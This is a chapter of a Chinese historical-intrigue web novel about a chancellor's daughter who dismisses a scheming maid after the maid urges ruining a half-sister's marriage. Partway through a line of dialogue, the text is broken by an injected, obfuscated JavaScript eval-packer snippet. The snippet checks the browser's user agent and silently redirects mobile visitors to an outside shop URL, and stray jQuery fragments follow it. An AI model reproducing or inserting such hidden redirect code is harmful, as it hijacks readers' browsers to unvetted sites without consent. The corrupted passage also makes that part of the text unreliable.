御亲王萧御乾从小乖张,一直养尊处优,不问世事,只管吃喝玩乐。
不知道哪根筋没搭对,突然一天主动要去慈殓司任职。
慈殓司是个苦差事,朝廷设置的专门负责收殓、埋葬那些无名尸骸的部门。
朝中无人愿意去主事。
除非实在不得圣心,才有可能被打发过去。
因着无人愿意去就职,也形成了一个不成文的规矩,没有人替代的话,只能一直在这个岗位“兢兢业业”。
上一任司长一直等不到替换的人,请辞也辞不掉。
谁也没想到,皇室养尊处优的“二世祖”竟然主动揽了事儿,还干得很起劲,可把原司长老头高兴坏了。
马不停蹄立即告老还乡。
这么一个纨绔主导摄政,众大臣心中叫苦不迭。
一群老头跑得上气不接下气,也没有追上逐渐远去的身影,只得暂时作罢。
“这,这可如何是好啊,这”
“各处事务都等着定夺,圣上不知道怎么想的,怎么就给安排了御亲王摄政。”
“御亲王是什么性子,圣上也是知晓的啊。”
苏丞相喘着粗气,“先按部就班,各部门各管各的,回头再议。”
朝堂上并不安稳,这苏宅内,看着也没多平静。
牡丹苑内,苏芷兰靠窗而坐,正在绣一副抹额。
丞相夫人看着娴静的闺女,脸上露出温和的笑意。
丫鬟燕儿看了看自家小姐,眼底满是焦急之色。
借着给人端茶的功夫,她再度使了个眼色。
苏芷兰假意没看见,继续手里的女红。
燕儿见此,假意闲聊道:“夫人,奴婢听说兰苑的小贱人不吃教训,还在纠缠三皇子。奴婢从未见过这么不要脸的小娘皮。你可得为小姐做主啊。”
“燕儿,你先下去。”
苏芷兰睨了一眼身旁的丫鬟,将手中的针线放下,话语中是不容置疑的严肃。
“小姐宅心仁厚,温善纯良,可也不能任人欺负。奴婢见不得您受委屈。”
“哦?兰苑那边还不安分?”丞相夫人正身做起来,眼里的慵懒瞬间消失。
“奴婢听说前个儿又偷偷遛去见三皇子了。小姐良善也应该有个度才是。那小娘皮留着始终是个祸害。”
“燕儿。”苏芷兰眼里寒意一闪,这燕儿三番五次不听劝阻,看来是不能留在身边了。
“小姐,你不忍心,这坏人就让奴婢来做。夫人,小姐不争不抢,性子柔和,您可得替小姐拿主意。常言道,不怕贼偷,就怕贼惦记。”
“如此,依你之见,该当如何?”丞相夫人端着茶盏喝了一口,眼眸微垂,看不出神色。
“小姐的亲事无法定下来,不如就将那小娘皮的婚事先定下来。给她安排一门腌臜的婚事,也是给她个教训,看她如何再跟小姐争斗。夫人前个儿还打算将她聘给谢家,那么好的婚事怎是不知廉耻的贱人配享有。这种敢惦记自己姐姐夫婿的人,就该嫁给那些爱寻花问柳、打骂人的才是。”
“燕儿,芷蘅是我亲妹妹,什么时候轮到你来做主了?”
苏芷兰看着跟随自己多年的人,如何也无法想通,怎会生出这般毒辣的心思。
“小姐,夫人,就是你们太过于放纵,那贱人才敢如此放肆,你们对她好,她何曾领情过。如果她先一步将三皇子勾搭上,狠狠心,先把身子给了,将来小姐怎么办?夫人,小姐,那贱人不是个好的。”
燕儿跪在地上,左右瞧瞧,想说什么又不敢说的样子。
丞相夫人拿着团扇,在胸前轻轻扇动,慵懒地倚靠在靠枕上,“有何话,说来便是。”
“这事儿奴婢不该说出来,那小贱人也算府里的主子。若是真要发作她,无凭无据,人也不会承认。可是奴婢见不得夫人、小姐待人赤诚,却如此不被敬重。”
燕儿满脸泪痕,从衣侧取出手绢,胡乱地抹了抹,又才接着说道:“奴婢前个儿去伙房取点心,回来的路上,路过招华庭靠北的假山时,听到那贱人与丫鬟书桃正在商量着如何勾搭上三皇子。那贱人说‘若实在不行,找个机会下点药,先’”
燕儿觉着有些难以启齿,停顿了一下,“先把身子给了,她堂堂丞相府的小姐,届时只需要装可怜,扮成受害者的模样,不怕今后不给她名分。”
“呵,是吗?”
“夫人,那贱人的心思如此腌臜,就该给她个教训。”
“最好的教训,便是找个下三流的人给嫁出去,让她也吃一吃皮肉之苦。”
“夫人高明,眼前一块肥肉晃来晃去,谁都惦记着。将她嘴缝起来,也就没法再咬。”
燕儿一喜,看来,夫人打算料理那小贱人了,她看着苏芷兰,“小姐,夫人会给咱们做主的。”
她刚说完这话,丞相夫人歪身侧躺回了塌上,一副昏昏欲睡的模样,“兰儿,此事你意下如何。”
“母亲,女儿自行处理。”
“允。”
丞相夫人用团扇捂着嘴打了个哈欠,闭上眼假寐。
“燕儿,你跟在我身边多少年了。”
“自奴婢八岁跟在小姐身边,已有八年光景。”燕儿眼里布满喜意,她自小跟在小姐身边,将来小姐若是嫁给三皇子,她也会是陪嫁。
皇室子弟,注定是三妻四妾。
来日小姐有了身孕无法侍奉之时,自然会在她们这些陪嫁人员里面挑选通房去侍奉。
若是有了一儿半女,抬为姨娘,也能混半个主子来当当。
她绝不允许有人影响到她将来的富贵荣华。
“燕儿,这些年里,我待你如何?”
“小姐待奴婢自然是极好的,奴婢一直铭记于心。此生,定尽心尽力服侍小姐,以后,还服侍小公子,小小姐。”
“你一片忠心,如今,我却留不得你了。”
“什么?”燕儿大惊,扑通一声跪倒在地。
“小姐,为什么?奴婢心里只有小姐,小姐怎么不要我?”
燕儿膝行过来,抱住苏芷兰的大腿,声泪俱下。
“小姐饶命,奴婢哪里做得不好,奴婢一定改,求求小姐,不要赶奴婢走。”
“我已经给过你很多次机会,奈何你一直不听规劝。丞相府小姐的婚事,如何是你能置喙的。”
“小姐,我都是为了你啊,奴婢都是为了你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638213|206580||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
“同身为女子,你竟然想以这般腌臜手段去毁人一生,你心思过于恶毒。”
“小姐,奴婢不敢了,奴婢再也不敢了。奴婢一心为小姐着想,奴婢就算有错,请小姐看在奴婢为主心切的份上,饶了奴婢这一回。”
“念在你服侍我多年的份上,我不发卖你,明日便去庄子上吧。在庄上做个小管事,这一辈子,也吃喝不愁了。”
“小姐,不要赶奴婢走,夫人,夫人,请看在我一心为主的份上,饶了奴婢此次吧。”
“燕儿,做人不可太贪心。若是再不听安排,我也只好将你发卖出去了。”
燕儿闻言,摇着头后退,只得先行离开,想着再另寻机会求饶。
她不相信小姐真不用她了,还是因着那个小贱人,定是还有其他隐情。
“你做得很好。”
丞相夫人慵懒的声调传来,苏芷兰起身来到母亲的身旁,脱鞋上榻,亲自给母亲捏肩捶背。
“一切都是母亲的教诲。”
“我们这些世家大族出来的,什么人精未见过。身边留着心思狠毒之人,若是哪日头脑发热,听从了教唆,带来的往往是杀身之祸。多少人做出糊涂事,都是受下面人的挑拨和教唆。你性子良善,我知你心中不忍,”
“娘,女儿都明白,本也不打算将她留在身边了。”
“你是个明白人,也未坠了娘的威名。”
“三妹妹的婚事,”
“柳家乃书香门第,本以为柳家幺子是个好的,哪知竟那般不堪。罢了,再相看便是。”
“娘,你跟其他家的主母不一样。”
苏芷兰从后面抱住娘亲,用脑袋蹭了蹭她。
丞相夫人反手拍了拍闺女的脑袋,很是熨帖闺女这般知事明理。
“娘是苏家人,自然要为整个苏家考虑。你那些庶弟庶妹怎么也算是苏家之人。打断骨头连着筋,况且他们也未做太过出格之事,善待他们,将来也是苏府的一份助力。”
身在高位,有身在高位的无奈,身边多少人看着,多少双眼睛盯着。
他们享受荣华富贵的同时,要兼顾的责任也越多。
“若果真如燕儿所说,三妹妹与三皇子在一起了,该如何呢?”
“若连那点女儿家的小计俩都中招,你也不必嫁与他。皇室争斗风险更甚,这么点事都解决不了,你跟了他,也活不久。”
“娘,可若是我喜欢他,什么也不管,一心就想要嫁给他呢。”苏芷兰从身后抱住母亲,用脑袋蹭着娘亲的后背,额前的碎发散乱飞舞,失了一份端庄,多了一丝娇俏。
“若你心里只有男人,也白做了一回娘的女儿。”
“娘,做你女儿真好。”
“你的那点小计俩,也就骗骗你爹,还想瞒过娘?”
“娘为何不阻止呢?”
“娘为何要阻止呢?”
“娘,相信我。”
“你的人生,不在乎娘信与不信。娘躺会儿,自己玩会儿去。”
“娘,我也躺一会儿。”
苏芷兰跟小时候一样窝进母亲的怀里,原来,娘都知道。
她以为瞒得很好呢。